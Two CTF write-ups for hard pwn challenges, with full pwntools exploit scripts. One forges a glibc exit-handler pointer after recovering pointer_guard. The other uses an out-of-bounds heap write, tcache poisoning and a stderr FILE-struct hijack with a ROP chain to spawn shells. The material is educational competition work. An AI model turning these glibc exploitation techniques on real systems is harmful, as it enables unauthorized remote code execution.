Name: Placeholder
Category: Binary Exploitation (pwn)
Difficulty: Hard


Alright, let’s talk about this binary.
After popping it open, I quickly noticed it had just two functions:main() and exit_program(). It starts with a harmless-looking prompt for Date of Birth in dd-mm-yyyy format — but under the hood, it’s a beautifully disguised arbitrary read/write vulnerability waiting to be exploited.

Initial Observations

Take a look at this main() snippet:

snippet
strtoul(nptr, 0LL, 16);

Yeah, that right there. It takes the parsed DOB, strips the dashes, and parses it as a hexadecimal address.
For example, inputting: 41-41-4141 turns into 0x41414141. That value is then used as an offset to a memory array with read/write access. This gives us a byte-wise arbitrary read/write primitive.
Boom. User input is now being interpreted as a memory address.
They go and treat this value as an offset for the memory array. And allow read/write access.
You see where this is going? snippet

This gives us an arbitrary read/write primitive. Byte-by-byte, granted, but We’ll take it.

Possible Attack Surface

  • ROP on stack? Nah. No return instruction.
  • GOT overwrite? Forget it. FULLRELRO is enabled.

Even though we can leak libc via puts from the GOT, we can't overwrite GOT entries.
At this point, you'd think it's a dead end. But then...
Why would the author place the exit() in the exit_program()? Is he trying to hint something ?
Suspicious. Very suspicious.

Enter Exit Handlers

Now I remembered seeing some deep wizardry involving exit handlers before, so I went hunting. And yeah, jackpot.
Helpful writeups I followed:

In short:

When exit() is called, glibc executes internal exit handlers (a.k.a. __exit_funcs). These include things like _dl_fini – a function pointer stored in a struct, mangled via a secret pointer_guard stored in the FS segment at offset 0x30. The pointers are mangled because modern libc has internal pointer protection—meaning critical function pointers (like those used during exit()) are mangled using a secret pointer_guard to prevent direct tampering.

If you can:

  • Leak the pointer_guard (via known encrypted value and known original pointer)
  • Encrypt your desired function pointer (like system) using that same method
  • Overwrite the function pointer in __exit_funcs
...then when exit() runs, it'll call your payload.
Cool, right?
Let’s implement this.

Exploit Strategy

  1. Leak libc base via puts@GOT.
  2. Compute libc base.
  3. Find __exit_funcs and the mangled _dl_finiin libc
  4. Oops, Can’t calculate _dl_fini directly as it is not an exported functions (Need an unique way to find out)
  5. Read mangled pointer to _dl_fini,Recover the pointer_guard.
  6. Encrypt system() using the same mangling method.
  7. Overwrite the exit handler and pass /bin/sh as an argument.
  8. Trigger exit() and pop the shell.

Pointer Mangling Utilities

Thanks to rop.la, Used the following functions from the author's post:

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def encrypt(v, key):
    return list(p64(rol(v ^ key, 0x11, 64)))

Here’s the full Python script skeleton used to perform the attack:

Complete Exploit:

#!/bin/python3

from pwn import *
memory  = 0x404030

def conn():
    context.arch = 'amd64'
    context.log_level = 'error'
    elf = ELF('./chall', checksec=False)
    libc = ELF('./libc.so.6', checksec=False)    
    is_debug = any(arg.lower() == 'debug' for arg in sys.argv[1:])
    if is_debug:
        p = process('./chall')
    else:
        p = remote('pwn.traboda.net', 54563)
    return p,elf,libc

def banner():print("\n[*] System pwned\n[*] Shell spawned\n[*] Get the flag!")

def write(address, data: list[int],p):
    for i in range(len(data)):
        p.recvuntil(b'Enter date of birth (dd-mm-yyyy) or \'exit\' to quit: ')
        p.sendline(formatter(address + i - memory))
        p.recvuntil(b'Read (r) or Write (w)?')
        p.sendline(b'w')
        p.recvuntil(b'Enter character to write: ')
        p.sendline(str(data[i]).encode())

def read(where, length, p):
    leak = 0
    for i in range(length):
        try:
            p.recvuntil(b'Enter date of birth (dd-mm-yyyy) or \'exit\' to quit: ')
            p.sendline(formatter(where + i))
            p.recvuntil(b'Read (r) or Write (w)?')
            p.sendline(b'r')
            response = p.recvline(timeout=5)
            leak = int(response.decode().split(':')[1].strip()) << 8*i | leak
        except EOFError:
            print(f"Error reading address: {hex(where + i)}")
            break  # Or handle the error as needed
    return leak

def formatter(val):
    hex_val = hex(val)[2:]
    hex_val = str(hex_val.zfill(16))
    return hex_val[:2].encode() + b'-' + hex_val[2:4].encode() + b'-' + hex_val[4:].encode()

def main():
    p,e,libc = conn()

    # Stage 1 - leak the libc base address

    #leak puts and calculate libc base
    libc.address = read(0xffffffffffffff78,6,p) - libc.symbols['puts']

    #address of the function _dl_fini
    orig_handler = libc.address + 0x219380
    #address of __exit_func (initial)
    exit_funcs_initial = libc.address + 0x204fc0
    
    #Leak mangled pointer of _dl_fini
    encrypted_pointer = read((exit_funcs_initial + 24 - memory),8,p)

    # calculate key
    key = ror(encrypted_pointer, 0x11, 64) ^ orig_handler

    # mangle the address of libc_system
    write(exit_funcs_initial + 24, encrypt(libc.symbols['system'], key),p)
    # set rdi to /bin/sh
    write(exit_funcs_initial + 32, list(p64(libc.address + 0x001cb42f)),p)

    #Get the F3king Shell
    p.recvuntil(b'Enter date of birth (dd-mm-yyyy) or \'exit\' to quit: ')
    p.sendline(b'exit')
    p.recvuntil(b"Exiting the program.")
    banner()
    p.interactive()

if __name__ == "__main__":
    main()

TL;DR

  • Arbitrary byte-wise read/write via DOB input.
  • ROP & GOT overwrites ruled out by protections.
  • Abused glibc exit handlers for RCE.
  • Reverse engineered pointer_guard and mangled system().
  • Exited cleanly into a shell
Name: Handout
Category: Binary Exploitation (pwn)
Difficulty: Hard


Right from the jump, this binary gave off serious heap exploitation vibes. We had four conventional options in the menu:

  • create_note()
  • delete_note()
  • read_note()
  • write_note()
Each one whispering “heap corruption” in its own way.
So naturally, the first step in any heap challenge: Hunt the Primitives.

Primitive Recon

Things I was specifically looking for:

  • Use After Free ? Nope. The author was nice enough to NULL out the pointer after freeing:
  • *((_QWORD *)&notes + 2 * (int)v1) = 0LL;
  • Double free? Nah.
  • OOB (Out Of Bounds)? Yes, Jackpot.

write_note() asks for both an index and an offset to write into — and no bounds checks on the offset.
With this golden ticket, I had full freedom to scribble past chunk boundaries and start crafting overlapping chunks.

The Overlap

I massaged the heap into a setup where I had:

  • A large chunk (the Overlapper)
  • A smaller chunk sitting inside it (the Victim)
By leveraging the OOB write from the large chunk, I nuked the metadata of the larger one using test chunk and teed up a tcache poisoning attack.
test3_chunk = create(15,"test")
overlapper4_chunk = create(15,"Overlapper")
victim5_chunk = create(15,"Victim")
write(2, 24, 0xf1) #the 2 points to the index of chunk "test"
I poisoned tcache with an arbitrary malloc target. So far, so clean. From here, we’re just going to play with the dynamic allocator

Leaks & Limitations

Next step: Info leaks. libc? Heap? Stack? Anything? Let’s go.
Heap leak? Easy.
But Libc?that was tricky.

At first, I assumed read_note() would be my leak buddy. But plot twist — it doesn't dereference the note. It just prints the pointer.☠️ However, that turned out to be a blessing in disguise. Because that meant... heap pointer leak! Perfect for recovering the tcache pointer mangling key (shifted right by 12).

Also, here's a lovely bug in read_note():
snippet if (v1 > 10) // but what about v1 < 0?
Negative indexing was possible. Which meant I could reach libc symbols like stderr@GLIBC_2.2.5, and boom — libc leak obtained. snippet

Fsrop, but make it Angry

With no classic read/write primitives, no stack leak, and no easy ROP setup... I knew where this was heading.

Angry-Fs(r)op.


This one’s beautifully explained in Kylebot's blog, so I won’t repeat it all.

TL;DR: Overwrite entities such as vtable, wide_data etc of file structs like stderr, stdout, stdin, get code execution when libc uses it in functions like printf(), scanf(), fwrite(), fread() etc.

Fsrop Strategy

We found a neat trigger:

fwrite("\n!! NOTE ACCESS FAIL !!\n", 1uLL, 0x18uLL, stderr);
This happens when write_note() fails with an invalid index (e.g., >10).
Perfect candidate for overwriting.

We overwrite stderr file struct, make it land on our fake structures, and boom — hijack the control flow.
What we overwrote ?
  • stderr.flags = 0xfbad2000 → marks file readable
  • _IO_read_ptr = leaked heap ptr → points to fake wide_data
  • stderr.vtable = _IO_wfile_overflow - 0x38
  • stderr.wide_data = leaked heap ptr → fake stack goes here
Why the leaked heap ptr? Because we’ll pivot our stack to this memory and drop a nice ROP chain right there.

ROP Chain Time

We crafted a fake stack with the usual gadgets:

  • set rdx to NULL
  • set rsi to NULL
  • onegadget for that nice little execve() shell
All written using our write_note() primitive. Here's what the fake stack looked like:

stack_pivot = fake_widedata_entry + 168 + 8
pop_rsi = libc + 0x0000000000030081
pop_rdx_r12 = libc + 0x00000000001221f1
shell = b"/bin/zsh"
ret = libc + 0x1aa854
fake_stack = libc + 0xeeaa2
fake_stack = b"\x00"*32
fake_stack += p64(setcontext)
fake_stack += b"\x00"*64
fake_stack += p64(handle)
fake_stack += b"\x00"*48
fake_stack += p64(stack_pivot)
fake_stack += p64(pop_rsi)
fake_stack += p64(0)
fake_stack += p64(pop_rdx_r12)
fake_stack += p64(0)
fake_stack += p64(0)
fake_stack += p64(onegadget)
fake_stack += b"\x00"*8
fake_stack += p64(fake_widedata_entry)
Finally, to pop the shell, we just needed to trigger:
write(index=15)  # index > 10 triggers fwrite(stderr)
And…

BOOM! Shell popped.

Here is my nice little banner.

[*] System pwned
[*] Shell spawned
[*] Get the flag!

$whoami
REDACTED
$

Complete Exploit:

#!/bin/python3

from pwn import *
import warnings

io = process("./_notes")
warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = 'error'

def banner():
    print("\n[*] System pwned\n[*] Shell spawned\n[*] Get the flag!")

def create(size,data,proc=io):
    proc.sendline(b"1")
    proc.sendline(str(size))
    proc.sendline(data)


def delete(index,proc=io):
    proc.sendline(b"2")
    proc.sendline(str(index))

def read(index,proc=io):
    proc.sendline(b"3")
    proc.sendline(str(index))
    proc.recvuntil("NOTE: ")
    leak = (proc.recvuntil(b"<"))[:6]
    return int.from_bytes(leak, byteorder='little')

def write(index,offset,value,proc=io):
    proc.sendline(b"4")
    proc.sendline(str(index))
    if value!="no":proc.sendline(str(offset))
    if offset!="no":proc.sendline(value.to_bytes(1,'little'))

#########-LEAKING-AND-CALCULATING-ALL-THE-NECESSARY-MEMORY-ADDRESS-##################
#Leak libc
libc = read(-4) - 2201216 
#stdout address
stderr = libc + 2201216
#vtable hijack
vtable = libc + 2203648
#wide_data 
wide_data = stderr + 160
#setcontext for stack_pivot
setcontext = libc + 358637
#getkeyserv handle for $rdx control from $rdi
handle = libc + 1481888
#####################################################################################

###########-Creating Overlapping chunks at index 3-##################################
dummy1_chunk = create(15,"dummy")
dummy2_chunk = create(15,"dummy")
test3_chunk = create(15,"test")
overlapper4_chunk = create(15,"Overlapper")
victim5_chunk = create(15,"Victim")
write(2,24,0xf1)
#####################################################################################

#######################-USED-FOR-TCACHE-POISONING-###################################
lastpiece6 = create(15,"lastpiece")
lastpiece7 = create(15,"lastpiece_1")
lastpiece8 = create(15,"lastpiece_2")
#####################################################################################

#####################-LEAKING-HEAP-POINTER-&-TCACHE-KEY##############################
heap_pointer = read(0)
key = heap_pointer >> 12 
#####################################################################################

################-OBERWRITING-STDERR-VTABLE-POINTER-##################################
delete(3)
delete(5)
delete(4)
fake_widedata_entry = heap_pointer + 96
#stderr vtable overwrite
overwrite = b"a"*24 + p64(0x21) + p64((key ^ (stderr + 208)))
second_chunk = create(0xe8,overwrite)
victim5_chunk = create(15,"Victim")
overwrite = p64(0) + p64(vtable)
stdout_pointer6 = create(16,overwrite)
#####################################################################################

################-OBERWRITING-STDERR-WIDE_DATA-POINTER-###############################
delete(3)
delete(6)
delete(4)
overwrite = b"a"*24 + p64(0x21) + p64((key ^ (wide_data)))
second_chunk = create(0xe8,overwrite)
victim5_chunk = create(15,"Victim")
overwrite = p64(fake_widedata_entry) + p64(0)
stdout_pointer7 = create(16,overwrite)
#####################################################################################

################-OBERWRITING-STDERR-FLAGS-&_IO_read_ptr-POINTER-#####################
delete(3)
delete(7)
delete(4)
overwrite = b"a"*24 + p64(0x21) + p64((key ^ (stderr)))
second_chunk = create(0xe8,overwrite)
victim5_chunk = create(15,"Victim")
overwrite = p64(0xfbad2000) + (p64(fake_widedata_entry))
stdout_pointer6 = create(18,overwrite)
#####################################################################################

###############-ADDING-ROP-GADGETS-TO-FAKE-STACK-####################################
delete(3)
stack_pivot = fake_widedata_entry + 168 + 8
pop_rsi = libc + 0x0000000000030081
pop_rdx_r12 = libc + 0x00000000001221f1
shell = b"/bin/zsh"
ret = libc + 0x1aa854
onegadget = libc + 0xeeaa2
fake_stack = libc + 0xeeaa2
fake_stack = b"\x00"*32
fake_stack += p64(setcontext)
fake_stack += b"\x00"*64
fake_stack += p64(handle)
fake_stack += b"\x00"*48
fake_stack += p64(stack_pivot)
fake_stack += p64(pop_rsi)
fake_stack += p64(0)
fake_stack += p64(pop_rdx_r12)
fake_stack += p64(0)
fake_stack += p64(0)
fake_stack += p64(onegadget)
fake_stack += b"\x00"*8
fake_stack += p64(fake_widedata_entry)
second_chunk = create(0xe8,fake_stack)
#####################################################################################

####################-TRIGGERING-STDERR-##############################################
write(15,"no","no")
io.recvuntil(b"NO SPACE FOR NEW NOTE !!")
banner()
#####################################################################################

io.interactive()

TL;DR:

  • Found OOB write via write_note()
  • Created overlapping chunks
  • Leaked heap pointer → recovered tcache key
  • Negative indexing → leaked libc address via stderr
  • Overwrote stderr file struct using tcache poisoning
  • Stack Pivoted to heap using Angry Fsrop
  • Triggered shell via onegadget and controlled fwrite()